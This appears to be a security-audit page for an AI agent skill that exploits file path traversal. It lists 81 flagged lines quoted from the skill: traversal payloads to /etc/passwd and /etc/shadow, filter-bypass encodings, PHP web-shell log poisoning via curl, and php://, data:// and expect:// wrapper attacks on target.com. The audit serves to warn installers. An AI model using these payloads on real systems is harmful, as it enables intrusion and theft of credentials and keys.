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file-path-traversal

Identifies and exploits file path traversal vulnerabilities in web applications, providing detailed reports and remediation guidance.

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The file-path-traversal skill was audited on May 12, 2026 and we found 81 security issues across 4 threat categories, including 5 critical. Review the findings below before installing.

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Security Issues

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System command execution

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322curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
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System command execution

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328# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
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System command execution

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336curl -A "<?php system('id'); ?>" \
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System command execution

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340curl -A "<?php system(\$_GET['c']); ?>" \
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System command execution

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351curl -X POST -d "<?php system('id'); ?>" \
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Curl to non-GitHub URL

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118# Test payloads with curl
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Curl to non-GitHub URL

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120curl "http://target.com/download?file=....//....//....//etc/passwd"
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Curl to non-GitHub URL

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322curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
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Curl to non-GitHub URL

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325curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
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Curl to non-GitHub URL

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329curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
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Curl to non-GitHub URL

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348curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
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Curl to non-GitHub URL

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355curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
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Curl to non-GitHub URL

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358curl "http://target.com/page?file=expect://id"
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Access to /etc/passwd

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105../../../etc/passwd
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Access to /etc/passwd

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106../../../../etc/passwd
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Access to /etc/passwd

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107../../../../../etc/passwd
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Access to /etc/passwd

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108../../../../../../etc/passwd
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Access to /etc/passwd

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119curl "http://target.com/image?filename=../../../etc/passwd"
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Access to /etc/passwd

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120curl "http://target.com/download?file=....//....//....//etc/passwd"
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Access to /etc/passwd

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127/etc/passwd
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Access to /etc/passwd

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144....//....//....//etc/passwd
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Access to /etc/passwd

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145....\/....\/....\/etc/passwd
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Access to /etc/passwd

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148..././..././..././etc/passwd
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Access to /etc/passwd

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149....//....//etc/passwd
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Access to /etc/passwd

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153%2e%2e/%2e%2e/%2e%2e/etc/passwd
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Access to /etc/passwd

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161../../../etc/passwd%00.jpg
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Access to /etc/passwd

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162../../../etc/passwd%00.png
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Access to /etc/passwd

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165../../../etc/passwd...............................
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Access to /etc/passwd

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168../../../etc/passwd.jpg.php
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Access to /etc/passwd

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175/var/www/images/../../../etc/passwd
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Access to /etc/passwd

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178images/../../../etc/passwd
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Access to /etc/passwd

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207/etc/passwd # User accounts
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Access to /etc/passwd

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305# Traverse to /etc/passwd
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Access to /etc/passwd

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370../../../etc/passwd
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Access to /etc/passwd

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377....//....//....//etc/passwd
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Access to /etc/passwd

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378..;/..;/..;/etc/passwd
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Access to /etc/passwd

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381/etc/passwd
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Access to /etc/passwd

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384../../../etc/passwd%00.jpg
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Access to /etc/passwd

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440| `../../../etc/passwd` | Linux password file |
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Access to /etc/passwd

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442| `....//....//....//etc/passwd` | Bypass simple filter |
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Access to /etc/passwd

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443| `/etc/passwd` | Absolute path |
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Access to /etc/passwd

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450| Linux | `/etc/passwd` | User accounts |
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Access to /etc/shadow

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128/etc/shadow
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Access to /etc/shadow

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208/etc/shadow # Password hashes (root only)
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Access to /etc/shadow

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451| Linux | `/etc/shadow` | Password hashes |
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Path traversal to sensitive directory

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105../../../etc/passwd
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Path traversal to sensitive directory

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106../../../../etc/passwd
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Path traversal to sensitive directory

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107../../../../../etc/passwd
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Path traversal to sensitive directory

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108../../../../../../etc/passwd
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Path traversal to sensitive directory

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119curl "http://target.com/image?filename=../../../etc/passwd"
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Path traversal to sensitive directory

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161../../../etc/passwd%00.jpg
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Path traversal to sensitive directory

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162../../../etc/passwd%00.png
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Path traversal to sensitive directory

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165../../../etc/passwd...............................
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Path traversal to sensitive directory

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168../../../etc/passwd.jpg.php
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Path traversal to sensitive directory

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175/var/www/images/../../../etc/passwd
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Path traversal to sensitive directory

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178images/../../../etc/passwd
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Path traversal to sensitive directory

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325curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
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Path traversal to sensitive directory

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329curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
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Path traversal to sensitive directory

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370../../../etc/passwd
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Path traversal to sensitive directory

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384../../../etc/passwd%00.jpg
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Path traversal to sensitive directory

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440| `../../../etc/passwd` | Linux password file |
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Access to root home directory

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215/root/.ssh/id_rsa # Root private key
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Access to root home directory

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216/root/.ssh/authorized_keys # Authorized keys
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Access to SSH directory

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215/root/.ssh/id_rsa # Root private key
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Access to SSH directory

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216/root/.ssh/authorized_keys # Authorized keys
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Access to SSH directory

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217/home/<user>/.ssh/id_rsa # User private keys
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External URL reference

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119curl "http://target.com/image?filename=../../../etc/passwd"
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External URL reference

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120curl "http://target.com/download?file=....//....//....//etc/passwd"
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External URL reference

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292ffuf -u "http://target.com/image?filename=FUZZ" \
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External URL reference

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297ffuf -u "http://target.com/page?file=FUZZ" \
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External URL reference

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308"http://target.com/index.php?file=FUZZ"
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External URL reference

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313"http://target.com/load?path=FUZZ"
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External URL reference

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322curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
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External URL reference

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325curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
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External URL reference

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329curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
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External URL reference

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337"http://target.com/page?file=/proc/self/environ"
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External URL reference

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341"http://target.com/page?file=/proc/self/environ&c=whoami"
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External URL reference

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348curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
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External URL reference

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352"http://target.com/page?file=php://input"
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External URL reference

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355curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
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External URL reference

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358curl "http://target.com/page?file=expect://id"
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UpdatedMay 13, 2026
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